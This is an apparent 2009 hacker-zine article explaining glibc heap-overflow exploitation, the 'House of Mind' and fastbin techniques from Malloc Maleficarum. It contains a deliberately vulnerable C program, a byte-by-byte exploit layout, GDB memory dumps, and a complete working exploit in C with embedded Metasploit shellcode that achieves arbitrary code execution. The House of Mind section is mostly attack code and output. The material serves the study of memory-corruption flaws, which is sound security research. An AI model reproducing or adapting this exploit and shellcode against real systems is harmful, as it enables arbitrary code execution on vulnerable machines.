|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ MALLOC DES‑MALEFICARUM ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By blackngel ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <black *noSPAM* set‑ezine.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <blackngel1 *noSPAM* gmail.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^^

*`* @@ *`* HACK THE WORLD

* *‑‑* *

## <blackngel1@gmail.com>

|| <black@set‑ezine.org>

* *

* * (C) Copyleft 2009 everybody

_* *_

‑‑‑[ INDEX

1 ‑ The History

2 ‑ Introduction

3 ‑ Welcome to The Past

4 ‑ DES‑Maleficarum...

4.1 ‑ The House of Mind

4.1.1 ‑ FastBin Method

4.1.2 ‑ av‑>top Nightmare

4.2 ‑ The House of Prime

4.2.1 ‑ unsorted_chunks()

4.3 ‑ The House of Spirit

4.4 ‑ The House of Force

4.4.1 ‑ Mistakes

4.5 ‑ The House of Lore

4.6 ‑ The House of Underground

5 ‑ ASLR and Nonexec Heap (The Future)

6 ‑ The House of Phrack

7 ‑ References

‑‑‑[ END INDEX

"Traduitori son tratori"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 1 ‑‑‑[ THE HISTORY ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On August 11, 2001, two papers were released in that same magazine and they went to demonstrate a new advance in the vulnerabilities exploitation world. MaXX wrote in his "Vudo malloc tricks" paper [1], the basic implementation and algorithms of GNU C Library, Doug Lea's malloc(), and he presented to the public various methods that be able to trigger arbitrary code execution through heap overflows. At the same time, he showed a real‑life exploit of the "Sudo" application.

In the same number of Phrack, an anonymous person released other article, titled "Once upon a free()" [2]. Its main goal was explain the System V malloc implementation.

On August 13, 2003, "jp <jp@corest.com>" developed of a way more advanced the skills initiated in the previous texts. His article, called "Advanced Doug Lea's malloc exploits" [3], maybe out the biggest support to what it was for coming...

The skills published in the first one of the articles, showed:

‑ unlink () method.

‑ frontlink () method.

... these methods were applicable until the year 2004, when the GLIBC library was patched so those methods did not work.

But not everything was said with regard to this topic. On October 11 of 2005, Phantasmal Phantasmagoria was publishing on the "bugtraq" mailing list an article which name provokes a deep mystery: "Malloc Maleficarum" [4].

The name of the article was a variation of an ancient text called "Malleus Maleficarum" (The Hammer of the Witches)...

Phantasmal also was the author of the fantastic article "Exploiting the Wilderness" [5], the chunk most afraid (at first) by the heap's lovers.

Malloc Maleficarum was a completely theoretical presentation of what could become the new skills of exploitation with regard to topic of the heap overflows. His author split each one of the skills titling them of the following way:

The House of Prime

The House of Mind

The House of Force

The House of Lore

The House of Spirit

The House of Chaos (conclusion)

And certainly, it was the revolution that open again the minds when the doors had been closed.

The only one fault of this article is that it was not showing any proof of concept that demonstrated that each and every one of the skills were possible.

Probably, the implementations stayed in the "background", or maybe in closed circles.

On January 1, 2007, in the electronic magazine ".aware EZine Alpha", K‑sPecial published an article simply called "The House of Mind" [6]. This one come to declaring in first instance the lacking small fault of Phantasmal's article.

On the other hand, he solved it presenting a proof of concept continued with its correspondent exploit.

Also, K‑sPecial's paper was bringing to the light a couple of shades in which Phantasmal had missed in his interpretation of the Houses skills.

Finally, on May 25, 2007, g463 published in Phrack an article called: "The use of set_head to defeat the wilderness." [7] g463 described how to obtain a "write almost 4 arbitrary bytes to almost anywhere" primitive by exploiting an existing bug in the file (1) utility. This is the most recent advance in heap overflows.

<< En todas las actividades es saludable, de vez en cuando, poner un signo de interrogacion sobre aquellas cosas que por mucho tiempo se han dado como seguras. >>

Bertrand Russell ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 2 ‑‑‑[ INTRODUCTION ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We could to define this paper as "The Practical Guide of the Malloc Maleficarum". And exactly, our main goal is demythologize the majority of the methods described in this paper through practical examples (so much the vulnerable programs as its associated exploits).

On the other hand, and very importantly, certain mistakes were trying to be corrected that were an object of wrong interpretation in Malloc Maleficarum. Mistakes that are today more easy to see thanks to the enormous work that Phantasmal give us in his moment. He is an adept, a "virtual adept" certainly...

It is due to these mistakes that in this article I present new contributions to the world of the heap overflow under Linux, introducing variations in the skills presented by Phantasmal, and totally new ideas that could allow arbitrary code execution by a better way.

In short, you will see in this article:

‑ Clean modification of K‑sPecial's exploit in The House of Mind. ‑ Implementation renewed of the "fastbin" method in The House of Mind. ‑ Practical implementation of The House of Prime method.

‑ New idea for direct arbitrary code execution in unsorted_chunks() method in The House of Prime.

‑ The House of Spirit practical implementation.

‑ The House of Force practical implementation.

‑ Recapitulation of mistakes in The House of Force theory committed in Malloc Maleficarum.

‑ Theoretical/practical approximation to The House of Lore.

In addition to a general understanding of the implementation of the "Doug Lea's malloc" library, I recommend two things:

1) Read first the article of MaxX [1].

2) Download and read the source code of glibc‑2.3.6 [8] (malloc.c and arena.c).

NOTE: Except for The House of Prime, I had used a x86 Linux distro, on a 2.6.24‑23 kernel, with glibc version 2.7, which shows that these techniques are still applicable today. Also, I have check that some of them are availables in 2.8.90.

NOTE 2: The current implementation of malloc is known as "ptmalloc", which is an implementation based on the previous "dlmalloc". Ptmalloc was created by Wolfram Gloger. At present, from glibc 2.7 to 2.10 are Ptmalloc2 based. You can obtain more information if you visit [9].

As there, it would be desirable to have at your side the Phantasmal's theory as support to subsequent methods that will be implemented. However, the concepts described in this paper should be sufficient for an almost complete understanding of the topic.

In this article you will see, through the witches, as there are still some ways to go. And we can go together ...

<< Lo que conduce y arrastra al mundo no son las maquinas, sino las ideas. >>

[ Victor Hugo ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 3 ‑‑‑[ WELCOME TO THE PAST ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Why does the "unlink()" technique not apply now?

"unlink ()" assumed that if two chunks were allocated in the heap, and second was vulnerable to being overwritten through an overflow of first, a third fake chunk could be created and so deceive "free ()" to proceed to unlink this second chunk and tie with the first.

Unlink was produced with the following code:

#define unlink( P, BK, FD ) { \

BK = P‑>bk; \

FD = P‑>fd; \

FD‑>bk = BK; \

BK‑>fd = FD; \

}

Being P the second chunk, "P‑>fd" was changed to point to a memory area capable of being overwritten (such as .dtors ‑ 12). If "P‑>bk" then pointed to the address of a Shellcode located at memory for an exploiter (at ENV or perhaps the same first chunk), then this address would be written in the 3rd step of unlink() code, in "FD‑>bk". Then:

"FD‑>bk" = "P‑>fd" + 12 = ".dtors".

".dtors" ‑> &(Shellcode)

In fact, when using DTORS, "P‑>fd" should point to .dtors+4‑12 so that "FD‑>bk" point to DTORS_END, to be executed at finish of application. GOT is also a good goal, or a function pointer or more things ...

And here started the fun!

By applying the appropriate patches glibc, the macro "unlink()" is shown as follows:

#define unlink(P, BK, FD) {

FD = P‑>fd;

BK = P‑>bk;

if (__builtin_expect (FD‑>bk != P || BK‑>fd != P, 0)) \ malloc_printerr (check_action, "corrupted double‑linked list", P); \

else {

FD‑>bk = BK;

BK‑>fd = FD;

}

}

If "P‑>fd", pointing to the next chunk (FD), is not modified, then the "bk" pointer of FD should point to P. The same is true with the previous chunk (BK)... if "P‑>bk" points to the previous chunk, then the forward pointer at BK should point to P. In any other case, mean an error in the double linked list and thus the second chunk (P) has been hacked.

And here ended the fun!

<< Nuestra tecnica no solo produce artefactos, esto es, cosas que la naturaleza no produce, sino tambien las cosas mismas que la naturaleza produce y dotadas de identica actividad natural. >>

Xavier Zubiri ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4 ‑‑‑[ DES‑MALEFICARUM... ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Read carefully what now comes. I just hope that at the end of this paper, the witches have completely disappeared.

Or... would it be better that they stay?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.1 ‑‑‑[ THE HOUSE OF MIND ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We will study "The House of Mind" technique here, step by step, so that those who start at these boundaries do not find too many problems along the path... a path that already may be a little hard.

Neither show is worth a second view / opinion about how develop the exploit, which in my case had a small behavioral variation (we will see it below).

The understanding of this technique will become much easier if for some accident I can demonstrate the ability of know to show the steps in certain order, otherwise the mind go from one side to another, but... test and play with the technique.

"The House of Mind" is described as perhaps the easiest method or, at least, more friendly with respect to what was "unlink()" in its moment of glory.

Two variants will be shown. Let's see here the first one:

NOTE 1: Only one call to "free()" is needed to provoke arbitrary code execution.

NOTE 2: From here, we will have always in mind that "free()" is executed on a second chunk that can be overflowed by another chunk that has been allocated before.

According to "malloc.c," a call to "free()" triggers the execution of a wrapper (in the jargon "wrapper functions") called "public_fREe()".

Here the relevant code:

void

public_fREe(Void_t* mem)

{

mstate ar_ptr;

mchunkptr p; /* chunk corresponding to mem */

...

p = mem2chunk(mem);

...

ar_ptr = arena_for_chunk(p);

...

_int_free(ar_ptr, mem);

}

A call to "malloc (x)" returns, always that there is still memory available, a pointer to the memory area where data can be stored, moved, copied, etc.

Imagine for example that:

"char * ptr = (char *) malloc (512);"

...returns the address "0x0804a008". This address is the "mem" content when "free()" is called.

The "mem2chunk(mem)" function returns a pointer to the start address of chunk (not the data, but the beginning of the chunk), which in a allocated chunk is set to something like:

&mem ‑ sizeof(size) ‑ sizeof(prev_size) = &mem ‑ 8.

p = (0x0804a000);

"p" is send to "arena_for_chunk()". As we can read in "arena.c", it trigger the following code:

#define HEAP_MAX_SIZE (1024*1024) /* must be a power of two */

____________________

|

#define heap_for_ptr(ptr) \ |

((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE‑1))) |

#define chunk_non_main_arena(p) ((p)‑>size & NON_MAIN_ARENA) |

__________________|

|

| #define arena_for_chunk(ptr) \ | |___(chunk_non_main_arena(ptr)?heap_for_ptr(ptr)‑>ar_ptr:&main_arena)

As we see, "p" is now "ptr". It is passed "chunk_non_main_arena()" which is responsible for checking whether the "size" of this chunk has its third least significant bit enabled (NON_MAIN_ARENA = 4h = 100b).

In a unmodified chunk, this function returns "false" and the address of "main_arena" will be returned by "arena_for_chunk()". But... fortunately, since we can corrupt the "size" field of "p", and enabled NON_MAIN_ARENA bit, then we can fool "arena_for_chunk()" to call to "heap_for_ptr().

We are now in:

(heap_info *) ((unsigned long)(0x0804a000) & ~(HEAP_MAX_SIZE‑1)))

then:

(heap_info *) (0x08000000)

We must have in mind that "heap_for_ptr()" is a macro and not a function. Then, once more in "arena_for_chunk()" we have:

(0x08000000)‑>ar_ptr

"ar_ptr" is the first member of a "heap_info" structure. It is defined as you can see:

typedef struct _heap_info {

mstate ar_ptr; /* Arena for this heap. */

struct _heap_info *prev; /* Previous heap. */

size_t size; /* Current size in bytes. */

size_t pad; /* Make sure the following data is properly aligned. */

} heap_info;

So what you are looking at (0x08000000) the address of an "arena" (it will be defined shortly). For now, we can say that at (0x08000000) there isn't any address to point to any "arena", so the application soon will break with a segmentation fault. (assuming an ET_EXEC with a base of 0x08048000)

It seems that our move end here. As our first chunk is just behind of the second chunk at (0x0804a000) (but not much), this only allows us to overwrite forward, preventing us write anything at (0x08000000).

But wait a moment... what happens if we can overwrite a chunk with an address like this: (0x081002a0)?

If our first chunk was at (0x0804a000), we can overwrite ahead and put in (0x08100000) an arbitrary address (usually the begining of the data of our first chunk).

Then "heap_for_ptr(ptr)‑>ar_ptr" take this address, and...

return heap_for_ptr(ptr)‑>ar_ptr | ret (0x08100000)‑>ar_ptr = 0x0804a008

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | ‑‑‑‑

ar_ptr = arena_for_chunk(p); | ar_ptr = 0x0804a008

... |

_int_free(ar_ptr, mem); | _int_free(0x0804a008, 0x081002a0);

Think that we can change "ar_ptr" to any value. For example, we can do that it points to an environment variable or another place. At this address of memory, "_int_free()" expects to find an "arena" structure.

Let's see now ...

mstate ar_ptr;

"mstate" is actually a real "malloc_state" structure (no comments):

struct malloc_state {

mutex_t mutex;

INTERNAL_SIZE_T max_fast; /* low 2 bits used as flags */

mfastbinptr fastbins[NFASTBINS];

mchunkptr top;

mchunkptr last_remainder;

mchunkptr bins[NBINS * 2];

unsigned int binmap[BINMAPSIZE];

...

INTERNAL_SIZE_T system_mem;

INTERNAL_SIZE_T max_system_mem;

};

...

static struct malloc_state main_arena;

Soon it will be helpful to know this. The goal of The House of Mind is to ensure that the unsorted_chunks() code is reaached in "_int_free ()":

void _int_free(mstate av, Void_t* mem) {

.....

bck = unsorted_chunks(av);

fwd = bck‑>fd;

p‑>bk = bck;

p‑>fd = fwd;

bck‑>fd = p;

fwd‑>bk = p;

.....

}

This is already beginning to look a bit more to "unlink()".

Now "av" is the value of "ar_ptr" which is supposed to be the beginning of an "arena". More... "unsorted_chunks ()," according to Phantasmal Phantasmagoria, return the value of "av‑>bins[0]". If "av" is (0x0804a008) (the start of our buffer), and we can write forward, we can control the value of bins[0], once past fields: mutex, max_fast, fastbins[] and top. This is simple ...

Phantasmal showed us that if we put in av‑>bins[0] the address of ".dtors" minus 8, then, the penultimate sentence write in this address plus 8, the address of the overflow "p". In this address is the "prev_size" field and there can place any thing, such as a "JMP", then we can jump to shellcode located a little later and you know as follows ...

p = 0x081002a0 ‑ 8;

...

bck = .dtors + 4 ‑ 8

...

bck + 8 = DTORS_END = 0x08100298

1st Bit ‑bins[0]‑ 2nd Bit

[ .......... .dtors+4‑8 ] [0x0804a008 ... ] [jmp 0xc ...... (Shellcode)]

| |

0x0804a008 0x08100000 0x08100298

When application finishes running DTORS, therefore the jump is executed, and our Shellcode.

Although the idea was good, K‑special warned us that "unsorted_chunks ()", in fact, did not return the value of "av‑>bins[0]," but it returns its address "&".

Let's take a look:

#define bin_at(m, i) ((mbinptr)((char*)&((m)‑>bins[(i)<<1]) ‑

SIZE_SZ<<1)))

...

#define unsorted_chunks(M) (bin_at(M, 1))

Indeed, we see that "bin_at()" returns the address and not the value. Therefore another way must be taken. Bearing this in mind, we can do the next:

bck = &av‑>bins[0]; /* Address of ... */

fwd = bck‑>fd = *(&av‑>bins[0] + 8); /* The value of ... */

fwd‑>bk = *(&av‑>bins[0] + 8) + 12 = p;

Which means that if we control the value located in:

"&av‑>bins[0] + 8" and we put there ".dtors + 4 ‑ 12", that will be placed in "fwd". In the last sentence it'll be written into DTORS_END the address of the second chunk "p", and continue as above.

But we have jumped here without crossing the road full of spines. Our friend Phantasmal also warned us that to run this piece of code, certain conditions should be met. Now we will see each of them related with its corresponding portion of code in the "_int_free()".

1) The negative value of the overwritten chunk must

be less than the value of this chunk "p".

if (__builtin_expect ((uintptr_t) p > (uintptr_t) ‑size, 0) ...

PLEASE NOTE: This must be a misinterpretation of language. To jump this integrity check: "‑size" must be "greater" than the value of "p".

2) The size of the chunk must not be less than or equal to av‑>max_fast.

if ((unsigned long)(size) <= (unsigned long)(av‑>max_fast) ...

We control the size of the overflow chunk so as "av‑>max_fast" which is the second field of our "fakearena".

3) The bit IS_MMAPPED must not be set into the "size" field.

else if (!chunk_is_mmapped(p)) { ...

Also, we control the second least significant bit of the "size".

4) The overwrited chunk can not be av‑>top (Wilderness chunk).

if (__builtin_expect (p == av‑>top, 0)) ...

5) The NONCONTIGUOUS_BIT of av‑>max_fast must be set.

if (__builtin_expect (contiguous (av) ...

Designer controls "av‑>max_fast" and know that NONCONTIGUOUS_BIT is "0x02" = "10b".

6) The PREV_INUSE bit of the next chunk must be set.

if (__builtin_expect (!prev_inuse(nextchunk), 0)) ...

This is the default in an allocated chunk.

7) The size of nextchunk must be greater than 8.

if (__builtin_expect (nextchunk‑>size <= 2 * SIZE_SZ, 0) ...

8) The size of nextchunk must be less than av‑>system_mem

... __builtin_expect (nextsize >= av‑>system_mem, 0)) ...

9) The PREV_INUSE bit of the chunk must not be set.

/* consolidate backward */

if (!prev_inuse(p)) { ...

ATTENTION: Phantasmal seems wrong here, at least according to my opinion, the PREV_INUSE bit of overwritten chunk, must be set in order to bypass this check and not unlink the previous chunk.

10) The nextchunk cannot equal av‑>top.

if (nextchunk != av‑>top) { ...

If we alter all the information from "av‑>fastbins[]" to "av‑>bins[0]", then "av‑>top" will be overwritten and will be almost impossible to be equal to "nextchunk".

11) The PREV_INUSE bit of the chunk after nextchunk (nextchunk + nextsize) must be set.

nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */

if (!nextinuse) { ...

The path seems long and tortuous, but it is not so much when we control most situations. Let's go to see the vulnerable program of our friend K‑sPecial:

[‑‑‑‑‑]

/*

* K‑sPecial's vulnerable program

*/

#include <stdio.h>

#include <stdlib.h>

int main (void) {

char *ptr = malloc(1024); /* First allocated chunk */

char *ptr2; /* Second chunk */

/* ptr & ~(HEAP_MAX_SIZE‑1) = 0x08000000 */

int heap = (int)ptr & 0xFFF00000;

_Bool found = 0;

printf("ptr found at %p\n", ptr); /* Print address of first chunk */

// i == 2 because this is my second chunk to allocate

for (int i = 2; i < 1024; i++) {

/* Allocate chunks up to 0x08100000 */

if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \

heap + 0x100000))) {

printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2); found = 1; /* Go out */

break;

}

}

malloc(1024); /* Request another chunk: (ptr2 != av‑>top) */

/* Incorrect input: 1048576 bytes */

fread (ptr, 1024 * 1024, 1, stdin);

free(ptr); /* Free first chunk */

free(ptr2); /* The House of Mind */

return(0); /* Bye */

}

[‑‑‑‑‑]

Note that the input allows NULL bytes without ending our string. This makes our task more easy.

The K‑sPecial's exploit create the following string:

[‑‑‑‑‑]

0x0804a008

|

[Ax8][0h x 4][201h x 8][DTORS_END‑12 x 246][(409h‑Ax1028) x 721][409h] ...

| |

av‑>max_fast bins[0] size

.... [(&1st chunk + 8) x 256][NOPx2‑JUMP 0x0c][40Dh][NOPx8][SHELLCODE]

| |

0x08100000 prev_size (0x08100298) *mem (0x081002a0)

[‑‑‑‑‑]

1) The first call to free() overwrites the first 8 bytes with garbage, then K‑special prefer to skip this area and put into (0x08100000) the address of the first chunk + 8(data area) + 8 (0x0804a010). Here begins the fake arena structure.

2) Then comes "\x00\x00\x00\x00" that fills the "av‑>mutex" field. Other value will cause that the exploit to fail.

3) "av‑>max_fast" get the value "102h". This satisfies the conditions 2 and 5:

(2) (size > max_fast) ‑> (40Dh > 102h)

(5) "\x02" NONCONTIGUOUS_BIT is set

4) Complete the first chunk with the DTORS_END (.dtors+4) address minus 8. This will overwrite &av‑>bins[0] + 8.

5) Fill the nexts chunks until (0x08100000) with characters "A", while retaining the "size" field (409h) of each chunk. Each one has PREV_INUSE bit properly set.

6) To reach the address of the overwritten chunk "p", we fill with the address where we will find our "fakearena", which is the address of the first chunk plus 8. The goal is jump garbage bytes that will be overwritten.

7) The "prev_size" field of "p" must be "nop; nop; jmp 0x0c;". It will jump to our Shellcode when DTORS_END will be executed at the end of the application.

8) The "size" field of "p" must be greater than the value written in "av‑>max_fast" and also have the NON_MAIN_ARENA bit activated which was the trigger for this whole story in The House of Mind.

9) A few NOPS and then our Shellcode.

After understanding some very solid ideas, I was really surprised when a simple execution of the K‑sPecial's exploit produced the following output:

blackngel@linux:~$ ./exploit > file

blackngel@linux:~$ ./heap1 < file

ptr found at 0x804a008

good heap allignment found on malloc() 724 (0x81002a0)

*** glibc detected *** ./heap1: double free or corruption (out): 0x081002a0 ...

In "malloc.c" this error corresponds to the integrity check:

if (__builtin_expect (contiguous (av)

Let's go to see what happens with GDB:

[‑‑‑‑‑]

blackngel@linux:~$ gdb ‑q ./heap1

(gdb) disass main

Dump of assembler code for function main:

.....

.....

0x08048513 <main+223>:call 0x804836c <free@plt>

0x08048518 <main+228>:mov ‑0x10(%ebp),%eax

0x0804851b <main+231>:mov %eax,(%esp)

0x0804851e <main+234>:call 0x804836c <free@plt>

0x08048523 <main+239>:mov $0x0,%eax

0x08048528 <main+244>:add $0x34,%esp

0x0804852b <main+247>:pop %ecx

0x0804852c <main+248>:pop %ebp

0x0804852d <main+249>:lea ‑0x4(%ecx),%esp

0x08048530 <main+252>:ret

End of assembler dump.

(gdb) break *main+223 /* Before first call to free() */

Breakpoint 1 at 0x8048513

(gdb) break *main+228 /* After first call to free() */

Breakpoint 2 at 0x8048518

(gdb) run < file

Starting program: /home/blackngel/heap1 < file

ptr found at 0x804a008

good heap allignment found on malloc() 724 (0x81002a0)

Breakpoint 1, 0x08048513 in main ()

Current language: auto; currently asm

(gdb) x/16x 0x0804a008

0x804a008:0x414141410x414141410x000000000x00000102 0x804a018:0x000001020x000001020x000001020x00000102 0x804a028:0x000001020x000001020x000001020x08049648 0x804a038:0x080496480x080496480x080496480x08049648

(gdb) c

Continuing.

Breakpoint 2, 0x08048518 in main ()

(gdb) x/16x 0x0804a008

0x804a008:0xb7fb21900xb7fb21900x000000000x00000000 0x804a018:0x000001020x000001020x000001020x00000102 0x804a028:0x000001020x000001020x000001020x08049648 0x804a038:0x080496480x080496480x080496480x08049648

[‑‑‑‑‑]

When the application stopped before the first free(), we can see our buffer seems to be well formed: [A x 8] [0000] [102h x 8].

But once the first call to free () is completed, as we said, the first 8 bytes are trashed with memory addresses. Most surprising is that the memory 0x0804a0010(av) + 4, is set to zero (0x00000000).

This position should be "av‑>max_fast", which being zero and not having NONCONTIGUOUS_BIT bit enabled, dumps the error above. This seems happens with the following instructions:

# define mutex_unlock(m) (*(m) = 0)

... that is executed to the end of "_int_free()" with:

(void *)mutex_unlock(&ar_ptr‑>mutex);

Anyway, if someone puts a 0 for us. What happens if we do that ar_ptr points to 0x0804a014?

(gdb) x/16x 0x0804a014

// Mutex // max_fast ?

0x804a014:0x000000000x000001020x000001020x00000102 0x804a024:0x000001020x000001020x000001020x00000102 0x804a034:0x080496480x080496480x080496480x08049648 0x804a044:0x080496480x080496480x080496480x08049648

So we can save 8 bytes of garbage in the exploit and the hardcoded value of "mutex", and leave to free () to do the rest for us.

[‑‑‑‑‑]

blackngel@mac:~$ gdb ‑q ./heap1

(gdb) run < file

Starting program: /home/blackngel/heap1 < file

ptr found at 0x804a008

good heap allignment found on malloc() 724 (0x81002a0)

Program received signal SIGSEGV, Segmentation fault.

0x081002b2 in ?? ()

(gdb) x/16x 0x08100298

0x8100298:0x90900ceb0x000004090x080496480x0804a044 0x81002a8:0x000000000x000000000x5bf424740x5e137381 0x81002b8:0x83426ac90xf4e2fceb0xdb32c2340x6f02af0c 0x81002c8:0x2a8d403d0x4202ba710x2b08e6360x10894030

(gdb)

[‑‑‑‑‑]

It seems that the second chunk "p", again suffer the wrath of free(). PREV_SIZE field is OK, SIZE field is OK, but the 8 NOPS are trashed with two memory addresses and 8 bytes NULL.

Note that after the call to "unsorted_chunks()", we have two sentences like these:

p‑>bk = bck;

p‑>fd = fwd;

It is clear that both pointers are overwritten with the address of the previous and next chunks to our overflowed chunk "p".

What happens if we place 16 NOPS?

[‑‑‑‑‑]

/*

* K‑sPecial exploit modified by blackngel

*/

#include <stdio.h>

/* linux_ia32_exec ‑ CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub

http://metasploit.com */

unsigned char scode[] = "\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e" "\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f" "\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10" "\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26" "\x5e\x9e\x39\xcb\xbf\x04\xea\x42";

int main (void) {

int i, j;

for (i = 0; i < 44 / 4; i++) fwrite("\x02\x01\x00\x00", 4, 1, stdout); /* av‑>max_fast‑12 */

for (i = 0; i < 984 / 4; i++) fwrite("\x48\x96\x04\x08", 4, 1, stdout); /* DTORS_END ‑ 8 */

for (i = 0; i < 721; i++) { fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* PRESERVE SIZE */

for (j = 0; j < 1028; j++) putchar(0x41); /* PADDING */

}

fwrite("\x09\x04\x00\x00", 4, 1, stdout);

for (i = 0; i < (1024 / 4); i++) fwrite("\x14\xa0\x04\x08", 4, 1, stdout);

fwrite("\xeb\x0c\x90\x90", 4, 1, stdout); /* prev_size ‑> jump 0x0c */

fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size ‑> NON_MAIN_ARENA */

fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */

fwrite(scode, sizeof(scode), 1, stdout); /* SHELLCODE */

return 0;

}

[‑‑‑‑‑]

blackngel@linux:~$ ./exploit > file

blackngel@linux:~$ ./heap1 < file

ptr found at 0x804a008

good heap allignment found on malloc() 724 (0x81002a0) uid=1000(blackngel) gid=1000(blackngel) groups=4(adm),20(dialout), 24(cdrom),25(floppy),29(audio),30(dip),33(www‑data),44(video), 46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev), 117(powerdev),1000(blackngel),1001(compiler)

blackngel@linux:~$

We have succeeded! Up to this point, you could think that the first of conditions for The House of Mind (a piece of memory allocated in an address like 0x08100000) seems impossible from a practical point of view.

But this must be considered again for two reasons:

1) You can to allocate a big amount of memory.

2) The user can control this amount.

Is that true?

Well, yes, if we go back in time. Even at the same vulnerability in is_modified() function of CVS. We can see the function corresponding to the command "entry" of that service:

[‑‑‑‑‑]

static void serve_entry (arg)

char *arg;

{

struct an_entry *p; char *cp;

[...]

cp = arg;

[...]

p = xmalloc (sizeof (struct an_entry));

cp = xmalloc (strlen (arg) + 2); strcpy (cp, arg); p‑>next = entries; p‑>entry = cp;

entries = p;

}

[‑‑‑‑‑]

How vl4d1m1r said, the heap layout will looked something like this:

[an_entry][buffer][an_entry][buffer]...[Wilderness]

These chunks will not be free()ed until the function server_write_entries() is called with the "noop" command. Note that in addition to controlling the number of allocated chunks, you can control the length too.

You can find this theory much better explained in the article "The Art of Exploitation: Come on back to exploit [10] published by vl4d1m1r of Ac1dB1tch3z in Phrack 64.

The old exploit used the technique unlink () to accomplish its purpose. This was for the glibc versions where this feature was not yet patched.

I'm not saying that The House of Mind is applicable to this vulnerability, but rather that meets certain conditions. It would be an exercise for the more advanced reader.

I have checked this House in a Linux distro with GLIBC 2.8.90.

We arrived, after a long journey, to The House of Mind.

<< Si el unico instrumento de que se dispone es un martillo, todo acaba pareciendo un clavo. >>

Lotfi Zadeh ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.1.1 ‑‑‑[ FASTBIN METHOD ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As a new technique, I established in this paper a practical solution to "Fastbin method" in The House of Mind, which was only exposed of theoretical mode in the papers of Phantasmal and K‑sPecial, and also contained certain elements which were wrongly interpreted.

Both, K‑special and Phantasmal said practically the same in their documents about this method. The basic idea was to trigger following code:

[‑‑‑‑‑]

if ((unsigned long)(size) <= (unsigned long)(av‑>max_fast)) { if (__builtin_expect (chunk_at_offset (p, size)‑>size <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av‑>system_mem, 0))

{

errstr = "free(): invalid next size (fast)";

goto errout;

}

set_fastchunks(av);

fb = &(av‑>fastbins[fastbin_index(size)]);

if (__builtin_expect (*fb == p, 0))

{

errstr = "double free or corruption (fasttop)";

goto errout;

}

printf("\nbDebug: p = 0x%x ‑ fb = 0x%x\n", p, fb); p‑>fd = *fb;

*fb = p;

}

[‑‑‑‑‑]

As this code is located after the first integrity check in "_int_free()", the main advantage is that we should not worry about the following tests. This may appear to be a task easier than previous method, but in reality it is not.

The core of this technique is in place "fb" to the address of an entry of ".dtors" or "GOT". Thanks to "The House of Prime" (first house discussed in Malloc Maleficarum), we know how to accomplish this.

If we hack the "size" field of the overflowed chunk passed to free() and sets it to 8, "fastbin_index()" returned the following value:

#define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) ‑ 2)

(8 >> 3) ‑ 2 = ‑1

Then:

&(av‑>fastbins[‑1])

And as in an arena structure (malloc_state) the previous item to fastbins[] matrix is "av‑>maxfast" (they are contiguous), the address where is this value will be placed in "fb".

